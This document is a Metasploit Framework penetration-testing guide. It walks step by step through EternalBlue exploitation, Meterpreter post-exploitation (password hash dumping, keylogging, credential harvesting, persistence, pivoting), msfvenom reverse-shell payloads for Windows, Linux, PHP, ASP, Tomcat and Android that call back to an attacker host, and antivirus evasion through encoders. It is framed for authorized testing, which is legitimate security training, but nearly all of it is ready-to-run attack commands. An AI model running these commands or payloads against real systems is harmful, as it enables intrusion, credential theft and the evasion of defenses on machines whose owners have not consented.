zebbern Metasploit Framework
Purpose
Leverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation through post-exploitation activities. Metasploit provides a unified platform for vulnerability exploitation, payload generation, auxiliary scanning, and maintaining access to compromised systems during authorized security assessments.
Prerequisites
Required Tools
# Metasploit comes pre-installed on Kali Linux
# For other systems:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall
# Start PostgreSQL for database support
sudo systemctl start postgresql
sudo msfdb init
Required Knowledge
- Network and system fundamentals
- Understanding of vulnerabilities and exploits
- Basic programming concepts
- Target enumeration techniques
Required Access
- Written authorization for testing
- Network access to target systems
- Understanding of scope and rules of engagement
Outputs and Deliverables
- Exploitation Evidence - Screenshots and logs of successful compromises
- Session Logs - Command history and extracted data
- Vulnerability Mapping - Exploited vulnerabilities with CVE references
- Post-Exploitation Artifacts - Credentials, files, and system information
Core Workflow
Phase 1: MSFConsole Basics
Launch and navigate the Metasploit console:
# Start msfconsole
msfconsole
# Quiet mode (skip banner)
msfconsole -q
# Basic navigation commands
msf6 > help # Show all commands
msf6 > search [term] # Search modules
msf6 > use [module] # Select module
msf6 > info # Show module details
msf6 > show options # Display required options
msf6 > set [OPTION] [value] # Configure option
msf6 > run / exploit # Execute module
msf6 > back # Return to main console
msf6 > exit # Exit msfconsole
Phase 2: Module Types
Understand the different module categories:
# 1. Exploit Modules - Target specific vulnerabilities
msf6 > show exploits
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# 2. Payload Modules - Code executed after exploitation
msf6 > show payloads
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
# 3. Auxiliary Modules - Scanning, fuzzing, enumeration
msf6 > show auxiliary
msf6 > use auxiliary/scanner/smb/smb_version
# 4. Post-Exploitation Modules - Actions after compromise
msf6 > show post
msf6 > use post/windows/gather/hashdump
# 5. Encoders - Obfuscate payloads
msf6 > show encoders
msf6 > set ENCODER x86/shikata_ga_nai
# 6. Nops - No-operation padding for buffer overflows
msf6 > show nops
# 7. Evasion - Bypass security controls
msf6 > show evasion
Phase 3: Searching for Modules
Find appropriate modules for targets:
# Search by name
msf6 > search eternalblue
# Search by CVE
msf6 > search cve:2017-0144
# Search by platform
msf6 > search platform:windows type:exploit
# Search by type and keyword
msf6 > search type:auxiliary smb
# Filter by rank (excellent, great, good, normal, average, low, manual)
msf6 > search rank:excellent
# Combined search
msf6 > search type:exploit platform:linux apache
# View search results columns:
# Name, Disclosure Date, Rank, Check (if it can verify vulnerability), Description
Phase 4: Configuring Exploits
Set up an exploit for execution:
# Select exploit module
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# View required options
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
# Set target host
msf6 exploit(...) > set RHOSTS 192.168.1.100
# Set target port (if different from default)
msf6 exploit(...) > set RPORT 445
# View compatible payloads
msf6 exploit(...) > show payloads
# Set payload
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
# Set local host for reverse connection
msf6 exploit(...) > set LHOST 192.168.1.50
msf6 exploit(...) > set LPORT 4444
# View all options again to verify
msf6 exploit(...) > show options
# Check if target is vulnerable (if supported)
msf6 exploit(...) > check
# Execute exploit
msf6 exploit(...) > exploit
# or
msf6 exploit(...) > run
Phase 5: Payload Types
Select appropriate payload for the situation:
# Singles - Self-contained, no staging
windows/shell_reverse_tcp
linux/x86/shell_bind_tcp
# Stagers - Small payload that downloads larger stage
windows/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp
# Stages - Downloaded by stager, provides full functionality
# Meterpreter, VNC, shell
# Payload naming convention:
# [platform]/[architecture]/[payload_type]/[connection_type]
# Examples:
windows/x64/meterpreter/reverse_tcp
linux/x86/shell/bind_tcp
php/meterpreter/reverse_tcp
java/meterpreter/reverse_https
android/meterpreter/reverse_tcp
Phase 6: Meterpreter Session
Work with Meterpreter post-exploitation:
# After successful exploitation, you get Meterpreter prompt
meterpreter >
# System Information
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpid
# File System Operations
meterpreter > pwd
meterpreter > ls
meterpreter > cd C:\\Users
meterpreter > download file.txt /tmp/
meterpreter > upload /tmp/tool.exe C:\\
# Process Management
meterpreter > ps
meterpreter > migrate [PID]
meterpreter > kill [PID]
# Networking
meterpreter > ipconfig
meterpreter > netstat
meterpreter > route
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1
# Privilege Escalation
meterpreter > getsystem
meterpreter > getprivs
# Credential Harvesting
meterpreter > hashdump
meterpreter > run post/windows/gather/credentials/credential_collector
# Screenshots and Keylogging
meterpreter > screenshot
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop
# Shell Access
meterpreter > shell
C:\Windows\system32> whoami
C:\Windows\system32> exit
meterpreter >
# Background Session
meterpreter > background
msf6 exploit(...) > sessions -l
msf6 exploit(...) > sessions -i 1
Phase 7: Auxiliary Modules
Use auxiliary modules for reconnaissance:
# SMB Version Scanner
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > run
# Port Scanner
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set PORTS 1-1000
msf6 auxiliary(...) > run
# SSH Version Scanner
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(...) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > run
# FTP Anonymous Login
msf6 > use auxiliary/scanner/ftp/anonymous
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > run
# HTTP Directory Scanner
msf6 > use auxiliary/scanner/http/dir_scanner
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > run
# Brute Force Modules
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set USER_FILE /usr/share/wordlists/users.txt
msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(...) > run
Phase 8: Post-Exploitation Modules
Run post modules on active sessions:
# List sessions
msf6 > sessions -l
# Run post module on specific session
msf6 > use post/windows/gather/hashdump
msf6 post(windows/gather/hashdump) > set SESSION 1
msf6 post(...) > run
# Or run directly from Meterpreter
meterpreter > run post/windows/gather/hashdump
# Common Post Modules
# Credential Gathering
post/windows/gather/credentials/credential_collector
post/windows/gather/lsa_secrets
post/windows/gather/cachedump
post/multi/gather/ssh_creds
# System Enumeration
post/windows/gather/enum_applications
post/windows/gather/enum_logged_on_users
post/windows/gather/enum_shares
post/linux/gather/enum_configs
# Privilege Escalation
post/windows/escalate/getsystem
post/multi/recon/local_exploit_suggester
# Persistence
post/windows/manage/persistence_exe
post/linux/manage/sshkey_persistence
# Pivoting
post/multi/manage/autoroute
Phase 9: Payload Generation with msfvenom
Create standalone payloads:
# Basic Windows reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe
# Linux reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf
# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php
# Python reverse shell
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py
# PowerShell payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1
# ASP web shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp
# WAR file (Tomcat)
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war
# Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk
# Encoded payload (evade AV)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe
# List available formats
msfvenom --list formats
# List available encoders
msfvenom --list encoders
Phase 10: Setting Up Handlers
Configure listener for incoming connections:
# Manual handler setup
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.50
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j
# The -j flag runs as background job
msf6 > jobs -l
# When payload executes on target, session opens
[*] Meterpreter session 1 opened
# Interact with session
msf6 > sessions -i 1
Quick Reference
Essential MSFConsole Commands
| Command | Description |
|---|---|
search [term] |
Search for modules |
use [module] |
Select a module |
info |
Display module information |
show options |
Show configurable options |
set [OPT] [val] |
Set option value |
setg [OPT] [val] |
Set global option |
run / exploit |
Execute module |
check |
Verify target vulnerability |
back |
Deselect module |
sessions -l |
List active sessions |
sessions -i [N] |
Interact with session |
jobs -l |
List background jobs |
db_nmap |
Run nmap with database |
Meterpreter Essential Commands
| Command | Description |
|---|---|
sysinfo |
System information |
getuid |
Current user |
getsystem |
Attempt privilege escalation |
hashdump |
Dump password hashes |
shell |
Drop to system shell |
upload/download |
File transfer |
screenshot |
Capture screen |
keyscan_start |
Start keylogger |
migrate [PID] |
Move to another process |
background |
Background session |
portfwd |
Port forwarding |
Common Exploit Modules
# Windows
exploit/windows/smb/ms17_010_eternalblue
exploit/windows/smb/ms08_067_netapi
exploit/windows/http/iis_webdav_upload_asp
exploit/windows/local/bypassuac
# Linux
exploit/linux/ssh/sshexec
exploit/linux/local/overlayfs_priv_esc
exploit/multi/http/apache_mod_cgi_bash_env_exec
# Web Applications
exploit/multi/http/tomcat_mgr_upload
exploit/unix/webapp/wp_admin_shell_upload
exploit/multi/http/jenkins_script_console
Constraints and Limitations
Legal Requirements
- Only use on systems you own or have written authorization to test
- Document all testing activities
- Follow rules of engagement
- Report all findings to appropriate parties
Technical Limitations
- Modern AV/EDR may detect Metasploit payloads
- Some exploits require specific target configurations
- Firewall rules may block reverse connections
- Not all exploits work on all target versions
Operational Security
- Use encrypted channels (reverse_https) when possible
- Clean up artifacts after testing
- Avoid detection by monitoring systems
- Limit post-exploitation to agreed scope
Troubleshooting
Database Not Connected
Problem: Database not connected warning
Solution:
# Initialize database
sudo msfdb init
# Start PostgreSQL
sudo systemctl start postgresql
# Reconnect in msfconsole
msf6 > db_connect
msf6 > db_status
Exploit Fails
Problem: Exploit completes but no session created
Solutions:
- Verify target is actually vulnerable:
check - Ensure correct payload architecture (x86 vs x64)
- Check firewall allows reverse connection
- Try different payload types
- Verify LHOST is reachable from target
Session Dies Immediately
Problem: Session opens but closes quickly
Solutions:
- Migrate to stable process:
migrate [PID] - Use more stable payload (staged vs stageless)
- Check antivirus isn't killing payload
- Use
set AutoRunScript migrate -n explorer.exe
Payload Detected by AV
Problem: Antivirus blocks payload execution
Solutions:
- Use encoding:
-e x86/shikata_ga_nai -i 10 - Use evasion modules:
use evasion/... - Try different payload format
- Use custom templates
- Consider manual payload development